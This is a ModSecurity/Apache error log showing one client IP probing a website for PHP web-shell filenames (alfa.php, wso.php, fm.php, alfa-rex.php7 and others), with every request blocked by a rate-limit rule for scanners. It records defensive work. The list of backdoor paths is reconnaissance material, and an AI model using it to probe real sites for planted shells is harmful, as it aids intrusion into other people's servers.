[Thu Jan 08 23:27:40.547691 2026] [:error] [pid 7586:tid 7595] [client 74.225.203.54:30974] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aV_M7MJyk37GdXP5TmWGZgAAAcc"]
[Thu Jan 08 23:27:40.950020 2026] [:error] [pid 7586:tid 7593] [client 74.225.203.54:46299] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aV_M7MJyk37GdXP5TmWGZwAAAcU"]
[Thu Jan 08 23:27:41.361722 2026] [:error] [pid 2424:tid 2435] [client 74.225.203.54:31018] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aV_M7bTDJR8aofkBk9RMxQAAAQk"]
[Thu Jan 08 23:27:41.716877 2026] [:error] [pid 2424:tid 2427] [client 74.225.203.54:18675] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aV_M7bTDJR8aofkBk9RMxgAAAQE"]
[Thu Jan 08 23:27:42.082248 2026] [:error] [pid 15263:tid 15291] [client 74.225.203.54:18624] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aV_M7tv61bxum7WG_e8coAAAABM"]
[Thu Jan 08 23:27:42.547660 2026] [:error] [pid 15263:tid 15275] [client 74.225.203.54:31033] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aV_M7tv61bxum7WG_e8coQAAAAM"]
[Thu Jan 08 23:27:42.839740 2026] [:error] [pid 15263:tid 15292] [client 74.225.203.54:18655] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aV_M7tv61bxum7WG_e8cogAAABQ"]
[Thu Jan 08 23:27:43.497619 2026] [:error] [pid 15263:tid 15280] [client 74.225.203.54:46218] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aV_M79v61bxum7WG_e8cpAAAAAg"]
[Thu Jan 08 23:27:44.069859 2026] [:error] [pid 15358:tid 15386] [client 74.225.203.54:46260] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aV_M8CoRk9xWJ3toSBKcGwAAANA"]
[Thu Jan 08 23:27:44.635726 2026] [:error] [pid 17404:tid 17427] [client 74.225.203.54:31025] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV_M8GVd_oH193N6AnXZQAAAAZU"]
[Thu Jan 08 23:27:44.941280 2026] [:error] [pid 15358:tid 15373] [client 74.225.203.54:30961] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV_M8CoRk9xWJ3toSBKcHQAAAMM"]
[Thu Jan 08 23:27:45.310611 2026] [:error] [pid 17404:tid 17416] [client 74.225.203.54:18626] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV_M8WVd_oH193N6AnXZQQAAAYo"]
[Thu Jan 08 23:27:45.771251 2026] [:error] [pid 2484:tid 2506] [client 74.225.203.54:30917] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV_M8TiDlnlaQQK_AEO05QAAAVI"]
[Thu Jan 08 23:27:46.246233 2026] [:error] [pid 2484:tid 2490] [client 74.225.203.54:46288] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M8jiDlnlaQQK_AEO05wAAAUQ"]
[Thu Jan 08 23:27:46.661343 2026] [:error] [pid 2424:tid 2432] [client 74.225.203.54:46225] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M8rTDJR8aofkBk9RMyQAAAQY"]
[Thu Jan 08 23:27:47.039807 2026] [:error] [pid 15263:tid 15284] [client 74.225.203.54:30945] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M89v61bxum7WG_e8cpgAAAAw"]
[Thu Jan 08 23:27:47.453599 2026] [:error] [pid 15263:tid 15294] [client 74.225.203.54:31035] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV_M89v61bxum7WG_e8cqQAAABY"]
[Thu Jan 08 23:27:47.902006 2026] [:error] [pid 15263:tid 15288] [client 74.225.203.54:18492] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aV_M89v61bxum7WG_e8cqwAAABA"]
[Thu Jan 08 23:27:48.393958 2026] [:error] [pid 15263:tid 15285] [client 74.225.203.54:18625] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aV_M9Nv61bxum7WG_e8crQAAAA0"]
[Thu Jan 08 23:27:48.765698 2026] [:error] [pid 17404:tid 17421] [client 74.225.203.54:18680] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aV_M9GVd_oH193N6AnXZRAAAAY8"]
[Thu Jan 08 23:27:49.270964 2026] [:error] [pid 17404:tid 17429] [client 74.225.203.54:46297] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aV_M9WVd_oH193N6AnXZRQAAAZc"]
[Thu Jan 08 23:27:49.816604 2026] [:error] [pid 15358:tid 15371] [client 74.225.203.54:31024] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aV_M9SoRk9xWJ3toSBKcIQAAAME"]
[Thu Jan 08 23:27:50.240280 2026] [:error] [pid 2484:tid 2505] [client 74.225.203.54:30949] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aV_M9jiDlnlaQQK_AEO07QAAAVE"]
[Thu Jan 08 23:27:50.674351 2026] [:error] [pid 15358:tid 15394] [client 74.225.203.54:46321] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aV_M9ioRk9xWJ3toSBKcJAAAANg"]
[Thu Jan 08 23:27:51.214076 2026] [:error] [pid 15358:tid 15376] [client 74.225.203.54:18447] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aV_M9yoRk9xWJ3toSBKcJQAAAMY"]
[Thu Jan 08 23:27:51.595985 2026] [:error] [pid 15358:tid 15374] [client 74.225.203.54:30964] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aV_M9yoRk9xWJ3toSBKcJgAAAMQ"]
[Thu Jan 08 23:27:51.948912 2026] [:error] [pid 15358:tid 15384] [client 74.225.203.54:18631] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aV_M9yoRk9xWJ3toSBKcKAAAAM4"]
[Thu Jan 08 23:27:52.355263 2026] [:error] [pid 15358:tid 15392] [client 74.225.203.54:46222] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aV_M-CoRk9xWJ3toSBKcKQAAANY"]
[Thu Jan 08 23:27:52.690858 2026] [:error] [pid 17404:tid 17412] [client 74.225.203.54:18670] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aV_M-GVd_oH193N6AnXZRgAAAYY"]
[Thu Jan 08 23:27:53.088932 2026] [:error] [pid 15263:tid 15281] [client 74.225.203.54:18458] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aV_M-dv61bxum7WG_e8crwAAAAk"]
[Thu Jan 08 23:27:53.477764 2026] [:error] [pid 15265:tid 15346] [client 74.225.203.54:18433] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aV_M-aE6VBKhew2LTFRmTAAAAJQ"]
[Thu Jan 08 23:27:53.846106 2026] [:error] [pid 2484:tid 2502] [client 74.225.203.54:30972] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aV_M-TiDlnlaQQK_AEO08AAAAU4"]
[Thu Jan 08 23:27:54.217488 2026] [:error] [pid 2424:tid 2439] [client 74.225.203.54:30975] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aV_M-rTDJR8aofkBk9RMywAAAQ0"]
[Thu Jan 08 23:27:54.619394 2026] [:error] [pid 7586:tid 7599] [client 74.225.203.54:18652] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aV_M-sJyk37GdXP5TmWGbgAAAcs"]
[Thu Jan 08 23:27:55.053265 2026] [:error] [pid 15263:tid 15274] [client 74.225.203.54:18647] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aV_M-9v61bxum7WG_e8csAAAAAI"]
[Thu Jan 08 23:27:55.454794 2026] [:error] [pid 2484:tid 2497] [client 74.225.203.54:18495] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aV_M-ziDlnlaQQK_AEO08QAAAUo"]
[Thu Jan 08 23:27:55.870414 2026] [:error] [pid 2484:tid 2508] [client 74.225.203.54:18465] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aV_M-ziDlnlaQQK_AEO08gAAAVQ"]
[Thu Jan 08 23:27:56.257521 2026] [:error] [pid 2424:tid 2440] [client 74.225.203.54:46312] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aV_M_LTDJR8aofkBk9RMzAAAAQ4"]
[Thu Jan 08 23:27:56.677310 2026] [:error] [pid 2424:tid 2446] [client 74.225.203.54:46672] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aV_M_LTDJR8aofkBk9RMzQAAARQ"]
[Thu Jan 08 23:28:01.318435 2026] [:error] [pid 15264:tid 15309] [client 74.225.203.54:46234] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aV_NAYov6_kvS0Owh-oqPwAAAEo"]
[Thu Jan 08 23:28:01.838817 2026] [:error] [pid 15265:tid 15331] [client 74.225.203.54:18632] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aV_NAaE6VBKhew2LTFRmUAAAAIU"]
[Thu Jan 08 23:28:02.327061 2026] [:error] [pid 17404:tid 17416] [client 74.225.203.54:31038] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aV_NAmVd_oH193N6AnXZVAAAAYo"]
[Thu Jan 08 23:28:03.042251 2026] [:error] [pid 15265:tid 15348] [client 74.225.203.54:31009] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aV_NA6E6VBKhew2LTFRmUQAAAJY"]
[Thu Jan 08 23:28:03.422108 2026] [:error] [pid 15265:tid 15350] [client 74.225.203.54:18644] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aV_NA6E6VBKhew2LTFRmUwAAAJg"]
[Thu Jan 08 23:28:03.950668 2026] [:error] [pid 7586:tid 7588] [client 74.225.203.54:18479] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aV_NA8Jyk37GdXP5TmWGfAAAAcA"]
[Thu Jan 08 23:28:04.679202 2026] [:error] [pid 15264:tid 15317] [client 74.225.203.54:30954] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aV_NBIov6_kvS0Owh-oqQgAAAFI"]
[Thu Jan 08 23:28:05.473462 2026] [:error] [pid 2424:tid 2443] [client 74.225.203.54:18662] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aV_NBbTDJR8aofkBk9RM2gAAARE"]
[Thu Jan 08 23:28:06.482201 2026] [:error] [pid 7586:tid 7614] [client 74.225.203.54:18638] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aV_NBsJyk37GdXP5TmWGfwAAAdg"]
[Thu Jan 08 23:28:07.691305 2026] [:error] [pid 2484:tid 2489] [client 74.225.203.54:18459] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aV_NBziDlnlaQQK_AEO09AAAAUM"]
[Thu Jan 08 23:28:08.420004 2026] [:error] [pid 2484:tid 2509] [client 74.225.203.54:18629] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aV_NCDiDlnlaQQK_AEO09gAAAVU"]
[Thu Jan 08 23:28:09.371101 2026] [:error] [pid 7586:tid 7612] [client 74.225.203.54:18434] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aV_NCcJyk37GdXP5TmWGggAAAdY"]
[Thu Jan 08 23:28:09.933739 2026] [:error] [pid 15264:tid 15323] [client 74.225.203.54:18440] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aV_NCYov6_kvS0Owh-oqRgAAAFg"]
[Thu Jan 08 23:28:10.580791 2026] [:error] [pid 15265:tid 15333] [client 74.225.203.54:30947] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aV_NCqE6VBKhew2LTFRmWQAAAIc"]
[Thu Jan 08 23:28:11.271528 2026] [:error] [pid 2424:tid 2437] [client 74.225.203.54:46244] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aV_NC7TDJR8aofkBk9RM3gAAAQs"]
[Thu Jan 08 23:28:12.248448 2026] [:error] [pid 2424:tid 2444] [client 74.225.203.54:18656] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aV_NDLTDJR8aofkBk9RM4AAAARI"]
[Thu Jan 08 23:28:12.631756 2026] [:error] [pid 15265:tid 15342] [client 74.225.203.54:31015] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aV_NDKE6VBKhew2LTFRmWwAAAJA"]
